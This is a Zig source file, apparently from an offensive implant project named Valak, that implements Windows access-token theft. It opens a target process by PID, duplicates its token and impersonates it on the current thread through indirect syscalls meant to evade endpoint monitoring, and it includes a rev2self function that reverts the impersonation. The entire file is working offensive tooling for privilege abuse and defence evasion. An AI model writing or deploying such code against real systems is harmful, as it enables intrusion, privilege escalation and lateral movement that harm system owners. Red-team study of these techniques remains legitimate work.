Files
Valak/evasion/token.zig
T

45 lines
1.6 KiB
Zig

// Token impersonation via indirect syscalls.
const std = @import("std");
const syscall = @import("syscall.zig");
const win = @import("win32.zig");
const ThreadImpersonationToken: u32 = 5; // phnt ntpsapi.h THREADINFOCLASS enum
pub fn stealToken(pid: u32) bool {
var cid = std.mem.zeroes(win.CLIENT_ID);
cid.UniqueProcess = @ptrFromInt(@as(usize, pid));
var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES);
oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES);
var proc_handle: win.HANDLE = undefined;
if (!win.NT_SUCCESS(syscall.nt_open_process(&proc_handle, win.PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid)))
return false;
defer _ = syscall.nt_close(proc_handle);
var token_handle: win.HANDLE = undefined;
if (!win.NT_SUCCESS(syscall.nt_open_process_token(proc_handle, win.TOKEN_DUPLICATE | win.TOKEN_QUERY | win.TOKEN_IMPERSONATE, &token_handle)))
return false;
defer _ = syscall.nt_close(token_handle);
var dup_token: win.HANDLE = undefined;
if (!win.NT_SUCCESS(syscall.nt_duplicate_token(token_handle, win.MAXIMUM_ALLOWED, null, 0, @intFromEnum(win.TOKEN_TYPE.TokenImpersonation), &dup_token)))
return false;
defer _ = syscall.nt_close(dup_token);
return win.NT_SUCCESS(syscall.nt_set_information_thread(
syscall.nt_current_thread(),
ThreadImpersonationToken,
@ptrCast(&dup_token),
@sizeOf(win.HANDLE),
));
}
pub fn rev2self() bool {
return win.NT_SUCCESS(syscall.nt_set_information_thread(
syscall.nt_current_thread(),
ThreadImpersonationToken,
null,
0,
));
}